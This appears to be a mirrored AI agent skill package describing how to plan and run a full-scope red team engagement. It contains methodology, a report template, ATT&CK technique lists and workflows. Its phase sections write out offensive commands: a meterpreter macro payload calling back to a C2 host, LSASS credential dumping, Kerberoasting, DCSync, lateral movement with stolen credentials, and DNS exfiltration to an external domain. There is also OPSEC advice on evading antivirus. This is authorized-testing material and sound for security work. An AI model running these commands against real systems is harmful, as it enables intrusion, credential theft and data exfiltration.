conducting-full-scope-red-team-engagement skill (Anthropic-Cybersecurity-Skills)
- Install
- SKILL.md (verbatim)
- Overview
- When to Use
- Prerequisites
- Engagement Phases
- Phase 1: Planning and Threat Modeling
- Phase 2: Reconnaissance (OSINT)
- Phase 3: Initial Access
- Phase 4: Post-Exploitation and Lateral Movement
- Phase 5: Objective Achievement
- Phase 6: Reporting and Debrief
- Metrics and KPIs
- Tools and Frameworks
- References
- Other files in this skill
- assets/template.md (verbatim)
- Document Control
- 1. Executive Summary
- 1.1 Engagement Overview
- 1.2 Key Findings Summary
- 1.3 Overall Risk Rating
- 1.4 Metrics at a Glance
- 2. Scope and Rules of Engagement
- 2.1 Engagement Scope
- 2.2 Rules of Engagement
- 2.3 Threat Profile
- 3. Attack Narrative
- 3.1 Engagement Timeline
- 3.2 Phase 1: Reconnaissance
- 3.3 Phase 2: Initial Access
- 3.4 Phase 3: Post-Exploitation
- 3.5 Phase 4: Lateral Movement
- 3.6 Phase 5: Objective Achievement
- 4. MITRE ATT&CK Mapping
- 4.1 Technique Heat Map
- 4.2 Techniques Used
- 5. Findings
- Finding 1: [Title]
- 6. Detection Gap Analysis
- 6.1 Summary
- 6.2 Gaps by Tactic
- 6.3 Priority Detection Rules Needed
- 7. Recommendations
- 7.1 Immediate (0-30 days)
- 7.2 Short-Term (30-90 days)
- 7.3 Long-Term (90-180 days)
- 8. Appendices
- Appendix A: Tools Used
- Appendix B: IOCs for Deconfliction
- Appendix C: Cleanup Confirmation
- references/api-reference.md (verbatim)
- Libraries
- Key attackcti Methods
- Engagement Phases (PTES Framework)
- C2 Frameworks
- External References
- references/standards.md (verbatim)
- MITRE ATT&CK Techniques
- Reconnaissance (TA0043)
- Resource Development (TA0042)
- Initial Access (TA0001)
- Execution (TA0002)
- Persistence (TA0003)
- Privilege Escalation (TA0004)
- Defense Evasion (TA0005)
- Credential Access (TA0006)
- Discovery (TA0007)
- Lateral Movement (TA0008)
- Collection (TA0009)
- Exfiltration (TA0010)
- NIST References
- Industry Frameworks
- Compliance Alignments
- references/workflows.md (verbatim)
- Engagement Lifecycle Workflow
- Decision Tree: Initial Access Vector Selection
- Operational Security (OPSEC) Checklist
- TTPs Execution Checklist
What it does. Plan and execute a comprehensive, MITRE ATT&CK-aligned red team engagement spanning threat modeling, reconnaissance, initial access, and post-exploitation to evaluate an organization's detection, prevention, and response against APT-style behavior. Use when scoping or running a full-scope, objective-based engagement, or purple-teaming against a specific threat actor's TTPs. Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).
| Upstream | mukul975/Anthropic-Cybersecurity-Skills |
| Skill file | skills/conducting-full-scope-red-team-engagement/SKILL.md |
| License | Apache-2.0 (skill folder LICENSE) |
| Author | mukul975 |
| Fetched | 2026-09-10 |
Install
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-full-scope-red-team-engagement, or copy the skill folder into~/.claude/skills/conducting-full-scope-red-team-engagement/.- Raw file:
curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-full-scope-red-team-engagement/SKILL.md
SKILL.md (verbatim)
name: conducting-full-scope-red-team-engagement
description: Plan and execute a comprehensive, MITRE ATT&CK-aligned red team engagement spanning threat modeling, reconnaissance, initial access, and post-exploitation to evaluate an organization's detection, prevention, and response against APT-style behavior. Use when scoping or running a full-scope, objective-based engagement, or purple-teaming against a specific threat actor's TTPs.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- adversary-emulation
- mitre-attack
- penetration-testing
- offensive-security
- purple-team
- ttp-mapping
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- File Metadata Consistency Validation
- Application Protocol Command Analysis
- Identifier Analysis
- Content Format Conversion
- Message Analysis
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1566.001
- T1059.001
- T1078
- T1071.001
Conducting Full-Scope Red Team Engagement
Overview
A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).
When to Use
- When conducting security assessments that involve conducting full scope red team engagement
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Written authorization (Rules of Engagement document) signed by executive leadership
- Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
- Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
- Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
- Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws
Engagement Phases
Phase 1: Planning and Threat Modeling
Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:
| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques |
|---|---|---|
| Reconnaissance | TA0043 | T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info |
| Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware |
| Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts |
| Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File |
| Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys |
| Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass |
| Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files |
| Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting |
| Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery |
| Lateral Movement | TA0008 | T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash |
| Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories |
| Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol |
| Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop |
Phase 2: Reconnaissance (OSINT)
# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt
# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
print(cert['name_value'])
" | sort -u > subdomains.txt
# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results
# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json
# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv
Phase 3: Initial Access
Common initial access vectors for red team engagements:
Spearphishing (T1566.001):
# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba
# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json
External Service Exploitation (T1190):
# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan
# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
Phase 4: Post-Exploitation and Lateral Movement
# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com
# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords
# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"
# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:password@fileserver.target.com
Phase 5: Objective Achievement
Define and pursue specific objectives:
- Domain Dominance: Achieve Domain Admin access and DCSync credentials
- Data Exfiltration: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
- Business Impact Simulation: Demonstrate ransomware deployment capability (without execution)
- Physical Access: Badge cloning, tailgating, server room access
# DCSync attack (T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm
# Exfiltration over DNS (T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t
Phase 6: Reporting and Debrief
The report should include:
- Executive Summary: Business impact, risk rating, key findings
- Attack Narrative: Timeline of activities with screenshots and evidence
- MITRE ATT&CK Mapping: Full heat map of techniques used
- Findings: Each finding with CVSS score, evidence, remediation
- Detection Gap Analysis: What the SOC detected vs. what was missed
- Purple Team Recommendations: Specific detection rules for gaps identified
Metrics and KPIs
| Metric | Description |
|---|---|
| Mean Time to Detect (MTTD) | Average time from action to SOC detection |
| Mean Time to Respond (MTTR) | Average time from detection to containment |
| TTP Coverage | Percentage of executed techniques detected |
| Objective Achievement Rate | Percentage of defined objectives completed |
| Dwell Time | Total time red team maintained access undetected |
Tools and Frameworks
- C2 Frameworks: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
- Reconnaissance: Amass, Recon-ng, theHarvester, SpiderFoot
- Exploitation: Metasploit, Impacket, CrackMapExec, Rubeus
- Post-Exploitation: Mimikatz, SharpCollection, BOF.NET
- Reporting: PlexTrac, Ghostwriter, Serpico
References
- MITRE ATT&CK Framework: https://attack.mitre.org/
- Red Team Guide: https://redteam.guide/
- PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
- TIBER-EU Framework for Red Teaming: https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/
- CBEST Intelligence-Led Testing: https://www.bankofengland.co.uk/financial-stability/financial-sector-continuity
Other files in this skill
- LICENSE
- assets/template.md
- references/api-reference.md
- references/standards.md
- references/workflows.md
- scripts/agent.py
- scripts/process.py
assets/template.md (verbatim)
Red Team Engagement Report Template
Document Control
| Field | Value |
|---|---|
| Engagement ID | RT-2025-XXX |
| Client Name | [Organization Name] |
| Report Date | YYYY-MM-DD |
| Classification | CONFIDENTIAL |
| Report Version | 1.0 |
| Lead Operator | [Name] |
| Reviewed By | [Name] |
1. Executive Summary
1.1 Engagement Overview
[Organization Name] engaged [Red Team Company] to conduct a full-scope red team assessment from [start date] to [end date]. The engagement simulated the tactics, techniques, and procedures (TTPs) of [Threat Actor], targeting [objectives].
1.2 Key Findings Summary
| # | Finding | Severity | Detected |
|---|---|---|---|
| 1 | [Finding Title] | Critical | No |
| 2 | [Finding Title] | High | Yes |
| 3 | [Finding Title] | High | No |
| 4 | [Finding Title] | Medium | Yes |
1.3 Overall Risk Rating
[CRITICAL / HIGH / MEDIUM / LOW]
The red team achieved [X of Y] defined objectives, with [Z]% of activities detected by the security operations center. Critical gaps were identified in [area 1], [area 2], and [area 3].
1.4 Metrics at a Glance
| Metric | Value |
|---|---|
| Total TTPs Executed | XX |
| Detection Rate | XX% |
| Mean Time to Detect | XX hours |
| Objectives Achieved | X/Y |
| Dwell Time (Undetected) | XX days |
| Unique Hosts Compromised | XX |
| Credentials Harvested | XX |
2. Scope and Rules of Engagement
2.1 Engagement Scope
In-Scope:
- Network ranges: [CIDR ranges]
- Domains: [domains]
- Physical locations: [if applicable]
- Personnel: [if social engineering in scope]
Out-of-Scope:
- [Systems/networks excluded]
- [Actions prohibited]
2.2 Rules of Engagement
- Authorization document reference: [RoE document ID]
- Approved hours of operation: [hours]
- Emergency contact: [name, phone]
- Deconfliction process: [description]
2.3 Threat Profile
Emulated Adversary: [Threat Actor Name]
- MITRE ATT&CK Group: [Group ID]
- Known Targets: [industries/regions]
- Typical TTPs: [summary of techniques]
3. Attack Narrative
3.1 Engagement Timeline
Day 1-5: Reconnaissance and OSINT
Day 6-8: Infrastructure setup and payload development
Day 9-12: Initial access attempts
Day 13-20: Post-exploitation, lateral movement, persistence
Day 21-25: Objective pursuit and data exfiltration
Day 26-28: Cleanup and evidence collection
3.2 Phase 1: Reconnaissance
Objective: Identify attack surface and high-value targets
| Action | Technique | Result |
|---|---|---|
| Subdomain enumeration | T1593 | Found XX subdomains |
| Employee enumeration | T1589.002 | Identified XX employees |
| Credential search | T1589.001 | Found XX breached credentials |
Key Discoveries:
- [Discovery 1 with evidence]
- [Discovery 2 with evidence]
3.3 Phase 2: Initial Access
Objective: Establish initial foothold on target network
Vector Used: [T1566.001 Spearphishing / T1190 Exploit / etc.]
Detailed Walkthrough:
- [Step 1 with screenshot reference]
- [Step 2 with screenshot reference]
- [Step 3 with screenshot reference]
Detection Status: [Detected/Undetected] by [source] at [time]
3.4 Phase 3: Post-Exploitation
Objective: Escalate privileges and establish persistence
| Action | Technique | Host | Result | Detected |
|---|---|---|---|---|
| Credential dump | T1003.001 | WS-XXX | Obtained X creds | Yes/No |
| Kerberoasting | T1558.003 | DC01 | Cracked X SPNs | Yes/No |
| Scheduled task | T1053.005 | WS-XXX | Persistence set | Yes/No |
3.5 Phase 4: Lateral Movement
Objective: Move toward crown jewel systems
Attack Path:
Initial Foothold (WS-042)
└── Credential Reuse (T1078)
└── File Server (FS01) via PsExec (T1021.002)
└── Database Server (DB01) via RDP (T1021.001)
└── Domain Controller (DC01) via DCSync (T1003.006)
3.6 Phase 5: Objective Achievement
| Objective | Status | Evidence |
|---|---|---|
| Domain Admin Access | Achieved | DCSync of krbtgt hash |
| PII Data Exfiltration | Achieved | 50MB exfiled over C2 |
| SCADA Network Access | Not Achieved | Network segmentation prevented access |
4. MITRE ATT&CK Mapping
4.1 Technique Heat Map
[Insert ATT&CK Navigator layer screenshot]
Navigator JSON file: engagement_navigator.json
4.2 Techniques Used
| Technique ID | Technique Name | Tactic | Used | Detected |
|---|---|---|---|---|
| T1566.001 | Spearphishing Attachment | Initial Access | Yes | Yes |
| T1059.001 | PowerShell | Execution | Yes | No |
| T1003.001 | LSASS Memory | Credential Access | Yes | Yes |
| T1558.003 | Kerberoasting | Credential Access | Yes | No |
| T1021.002 | SMB Admin Shares | Lateral Movement | Yes | No |
| T1003.006 | DCSync | Credential Access | Yes | Yes |
| T1041 | Exfil Over C2 Channel | Exfiltration | Yes | No |
5. Findings
Finding 1: [Title]
| Field | Value |
|---|---|
| Severity | Critical |
| CVSS Score | 9.8 |
| Affected Systems | [list] |
| MITRE ATT&CK | [technique ID] |
Description: [Detailed description of the vulnerability or gap]
Evidence: [Screenshots, logs, proof of exploitation]
Impact: [Business impact assessment]
Recommendation: [Specific remediation steps]
6. Detection Gap Analysis
6.1 Summary
| Category | Count | Percentage |
|---|---|---|
| Actions Detected | X | XX% |
| Actions Undetected | X | XX% |
| Techniques with Zero Coverage | X | - |
6.2 Gaps by Tactic
| Tactic | Actions | Detected | Gap |
|---|---|---|---|
| Initial Access | X | X | XX% |
| Execution | X | X | XX% |
| Persistence | X | X | XX% |
| Credential Access | X | X | XX% |
| Lateral Movement | X | X | XX% |
| Exfiltration | X | X | XX% |
6.3 Priority Detection Rules Needed
- [Detection Rule Name] - Detect [technique] via [data source]
- [Detection Rule Name] - Detect [technique] via [data source]
- [Detection Rule Name] - Detect [technique] via [data source]
7. Recommendations
7.1 Immediate (0-30 days)
- [Critical remediation action]
- [Critical remediation action]
7.2 Short-Term (30-90 days)
- [High-priority improvement]
- [High-priority improvement]
7.3 Long-Term (90-180 days)
- [Strategic improvement]
- [Strategic improvement]
8. Appendices
Appendix A: Tools Used
| Tool | Purpose | Version |
|---|---|---|
| Havoc | C2 Framework | 0.7 |
| Impacket | AD Attacks | 0.11.0 |
| Rubeus | Kerberos Attacks | 2.3.0 |
| BloodHound | AD Reconnaissance | 4.3 |
Appendix B: IOCs for Deconfliction
| Type | Value | Context |
|---|---|---|
| IP | X.X.X.X | C2 Server |
| Domain | c2.example.com | C2 Domain |
| Hash | [SHA256] | Payload |
| User-Agent | [string] | C2 Callback |
Appendix C: Cleanup Confirmation
- All implants removed
- All persistence mechanisms removed
- All created accounts deleted
- All modified configurations restored
- Infrastructure decommissioned
references/api-reference.md (verbatim)
Full-Scope Red Team Engagement — API Reference
Libraries
| Library | Install | Purpose |
|---|---|---|
| attackcti | pip install attackcti |
MITRE ATT&CK STIX/TAXII client for technique enumeration |
| impacket | pip install impacket |
AD attack tools (secretsdump, psexec, wmiexec) |
| requests | pip install requests |
HTTP client for C2 API integration |
Key attackcti Methods
| Method | Description |
|---|---|
attack_client() |
Initialize MITRE ATT&CK client |
client.get_enterprise_techniques() |
List all Enterprise techniques |
client.get_enterprise_mitigations() |
List mitigations |
client.get_groups() |
List threat actor groups |
client.get_software() |
List tools and malware |
Engagement Phases (PTES Framework)
| Phase | Duration | Key Activities |
|---|---|---|
| Pre-engagement | 1-2 weeks | Scoping, RoE, legal agreements |
| Reconnaissance | 3-5 days | OSINT, footprinting, enumeration |
| Initial Access | 5-7 days | Phishing, exploits, physical |
| Post-exploitation | 5-7 days | Lateral movement, persistence, privilege escalation |
| Objective | 2-3 days | Crown jewel access, exfiltration simulation |
| Reporting | 3-5 days | Findings, remediation, executive brief |
C2 Frameworks
| Framework | Type | Protocol |
|---|---|---|
| Cobalt Strike | Commercial | HTTPS, DNS, SMB |
| Sliver | Open source | mTLS, HTTPS, DNS, WireGuard |
| Mythic | Open source | HTTP, websocket, custom |
External References
references/standards.md (verbatim)
Standards and References: Full-Scope Red Team Engagement
MITRE ATT&CK Techniques
Reconnaissance (TA0043)
- T1593 - Search Open Websites/Domains
- T1593.001 - Social Media
- T1593.002 - Search Engines
- T1589 - Gather Victim Identity Information
- T1589.001 - Credentials
- T1589.002 - Email Addresses
- T1590 - Gather Victim Network Information
- T1590.002 - DNS
- T1590.005 - IP Addresses
- T1591 - Gather Victim Org Information
Resource Development (TA0042)
- T1583.001 - Acquire Infrastructure: Domains
- T1583.003 - Acquire Infrastructure: Virtual Private Server
- T1587.001 - Develop Capabilities: Malware
- T1587.003 - Develop Capabilities: Digital Certificates
- T1608.001 - Stage Capabilities: Upload Malware
Initial Access (TA0001)
- T1566.001 - Phishing: Spearphishing Attachment
- T1566.002 - Phishing: Spearphishing Link
- T1190 - Exploit Public-Facing Application
- T1078 - Valid Accounts
- T1133 - External Remote Services
- T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain
Execution (TA0002)
- T1059.001 - Command and Scripting Interpreter: PowerShell
- T1059.003 - Command and Scripting Interpreter: Windows Command Shell
- T1204.001 - User Execution: Malicious Link
- T1204.002 - User Execution: Malicious File
- T1047 - Windows Management Instrumentation
Persistence (TA0003)
- T1053.005 - Scheduled Task/Job: Scheduled Task
- T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys
- T1136.001 - Create Account: Local Account
- T1098 - Account Manipulation
Privilege Escalation (TA0004)
- T1068 - Exploitation for Privilege Escalation
- T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control
- T1134 - Access Token Manipulation
Defense Evasion (TA0005)
- T1055 - Process Injection
- T1027 - Obfuscated Files or Information
- T1562.001 - Impair Defenses: Disable or Modify Tools
- T1070.004 - Indicator Removal: File Deletion
Credential Access (TA0006)
- T1003.001 - OS Credential Dumping: LSASS Memory
- T1003.006 - OS Credential Dumping: DCSync
- T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
- T1110 - Brute Force
Discovery (TA0007)
- T1087.002 - Account Discovery: Domain Account
- T1018 - Remote System Discovery
- T1069.002 - Permission Groups Discovery: Domain Groups
- T1082 - System Information Discovery
Lateral Movement (TA0008)
- T1021.002 - Remote Services: SMB/Windows Admin Shares
- T1021.001 - Remote Services: Remote Desktop Protocol
- T1550.002 - Use Alternate Authentication Material: Pass the Hash
- T1047 - Windows Management Instrumentation
Collection (TA0009)
- T1560 - Archive Collected Data
- T1213 - Data from Information Repositories
Exfiltration (TA0010)
- T1041 - Exfiltration Over C2 Channel
- T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol
NIST References
- NIST SP 800-115 - Technical Guide to Information Security Testing and Assessment
- NIST SP 800-53 Rev. 5 - Security and Privacy Controls (CA-8: Penetration Testing)
- NIST SP 800-53A - Assessing Security and Privacy Controls (CA-8 assessment procedures)
- NIST CSF 2.0 - Identify, Protect, Detect, Respond, Recover functions
Industry Frameworks
- PTES - Penetration Testing Execution Standard (Pre-engagement, Intelligence Gathering, Threat Modeling, Vulnerability Analysis, Exploitation, Post-Exploitation, Reporting)
- OSSTMM - Open Source Security Testing Methodology Manual v3
- TIBER-EU - European Central Bank Threat Intelligence-Based Ethical Red Teaming
- CBEST - Bank of England intelligence-led penetration testing framework
- CREST - Council of Registered Ethical Security Testers certification standards
- STAR - Simulated Targeted Attack and Response (Bank of Canada)
Compliance Alignments
| Framework | Control | Description |
|---|---|---|
| PCI DSS 4.0 | 11.4 | External and internal penetration testing |
| SOC 2 | CC7.1 | Identification and management of vulnerabilities |
| ISO 27001 | A.18.2.3 | Technical compliance review |
| HIPAA | 164.308(a)(8) | Evaluation of security measures |
| FFIEC | IS.2.M.7 | Penetration testing program |
references/workflows.md (verbatim)
Workflows: Full-Scope Red Team Engagement
Engagement Lifecycle Workflow
┌─────────────────────────────────────────────────────────────────┐
│ RED TEAM ENGAGEMENT LIFECYCLE │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. SCOPING & PLANNING │
│ ├── Define Rules of Engagement (RoE) │
│ ├── Identify threat actors to emulate │
│ ├── Define objectives and success criteria │
│ ├── Establish communication channels and emergency stops │
│ └── Legal authorization and sign-off │
│ │
│ 2. RECONNAISSANCE (2-4 weeks) │
│ ├── Passive OSINT collection │
│ │ ├── DNS enumeration (Amass, subfinder) │
│ │ ├── Email harvesting (theHarvester) │
│ │ ├── Social media profiling (LinkedIn, Twitter) │
│ │ └── Credential breach searches (DeHashed) │
│ ├── Active scanning (if in scope) │
│ │ ├── Port/service scanning (Nmap) │
│ │ ├── Web application discovery (Aquatone) │
│ │ └── Vulnerability scanning (Nuclei) │
│ └── Target prioritization matrix │
│ │
│ 3. WEAPONIZATION (1-2 weeks) │
│ ├── Develop custom payloads │
│ │ ├── Shellcode generation and encryption │
│ │ ├── Loader development (C/C++, Rust, Nim) │
│ │ └── Sandbox evasion techniques │
│ ├── Configure C2 infrastructure │
│ │ ├── Deploy team server (Havoc/Cobalt Strike) │
│ │ ├── Set up HTTPS redirectors │
│ │ ├── Configure domain fronting or CDN │
│ │ └── Test beacon callbacks │
│ └── Prepare phishing infrastructure │
│ ├── Register look-alike domains │
│ ├── Configure SPF/DKIM/DMARC │
│ └── Design email templates │
│ │
│ 4. INITIAL ACCESS (1-2 weeks) │
│ ├── Execute phishing campaign (T1566) │
│ ├── Exploit external services (T1190) │
│ ├── Credential stuffing/spraying (T1110) │
│ ├── Supply chain vectors (T1195) │
│ └── Physical access attempts (if in scope) │
│ │
│ 5. POST-EXPLOITATION (2-4 weeks) │
│ ├── Establish persistence (T1053, T1547) │
│ ├── Privilege escalation │
│ │ ├── Local priv esc (T1068, T1548) │
│ │ └── Domain priv esc (Kerberoasting, DCSync) │
│ ├── Credential harvesting │
│ │ ├── LSASS dump (T1003.001) │
│ │ ├── SAM database (T1003.002) │
│ │ └── Kerberos tickets (T1558) │
│ ├── Lateral movement │
│ │ ├── SMB (T1021.002) │
│ │ ├── WMI (T1047) │
│ │ ├── WinRM (T1021.006) │
│ │ └── RDP (T1021.001) │
│ └── Objective pursuit │
│ ├── Crown jewel identification │
│ ├── Data staging (T1074) │
│ └── Exfiltration demonstration (T1041) │
│ │
│ 6. REPORTING & DEBRIEF (1-2 weeks) │
│ ├── Attack narrative with timeline │
│ ├── MITRE ATT&CK heat map │
│ ├── Detection gap analysis │
│ ├── Remediation recommendations │
│ ├── Executive debrief presentation │
│ └── Purple team follow-up sessions │
│ │
└─────────────────────────────────────────────────────────────────┘
Decision Tree: Initial Access Vector Selection
START: Select Initial Access Vector
│
├── Is phishing in scope?
│ ├── YES → Target high-value employees
│ │ ├── C-suite → CEO fraud / whale phishing
│ │ ├── IT Staff → Credential harvesting
│ │ └── HR/Finance → Malicious attachment
│ └── NO → Proceed to external attack surface
│
├── External-facing services found?
│ ├── VPN → Check for CVEs (Fortinet, Pulse Secure, Citrix)
│ ├── Exchange → ProxyShell/ProxyLogon
│ ├── Web Apps → OWASP Top 10, file upload, RCE
│ └── RDP → Brute force / credential stuffing
│
└── Physical access in scope?
├── Badge cloning (Proxmark3)
├── Tailgating
└── Rogue device deployment (LAN Turtle)
Operational Security (OPSEC) Checklist
- Infrastructure Separation: Separate attack infrastructure from assessment infrastructure
- Redirectors: Use HTTPS redirectors between C2 and targets
- Domain Aging: Register domains 30+ days before engagement
- Categorization: Categorize phishing domains before use (Bluecoat, Fortiguard)
- Payload Testing: Test payloads against VirusTotal alternatives (antiscan.me)
- Log Rotation: Rotate and encrypt operational logs
- Clean-up: Remove all implants and artifacts post-engagement
- Communication: Use encrypted channels for team coordination (Signal, Keybase)
TTPs Execution Checklist
| Phase | TTP | Tool | Status |
|---|---|---|---|
| Recon | T1593 - Open Website Search | Amass, Recon-ng | [ ] |
| Recon | T1589 - Victim Identity Info | theHarvester, LinkedIn | [ ] |
| Initial Access | T1566.001 - Spearphishing | GoPhish, custom | [ ] |
| Execution | T1059.001 - PowerShell | Custom stager | [ ] |
| Persistence | T1053.005 - Scheduled Task | schtasks.exe | [ ] |
| Priv Esc | T1558.003 - Kerberoasting | Rubeus | [ ] |
| Defense Evasion | T1055 - Process Injection | Custom loader | [ ] |
| Credential Access | T1003.001 - LSASS Memory | Mimikatz/SafetyKatz | [ ] |
| Discovery | T1087.002 - Domain Account Discovery | BloodHound/SharpHound | [ ] |
| Lateral Movement | T1021.002 - SMB/Admin Shares | PsExec, wmiexec | [ ] |
| Collection | T1560 - Archive Data | 7-Zip, tar | [ ] |
| Exfiltration | T1041 - Exfil Over C2 | Havoc/CS download | [ ] |
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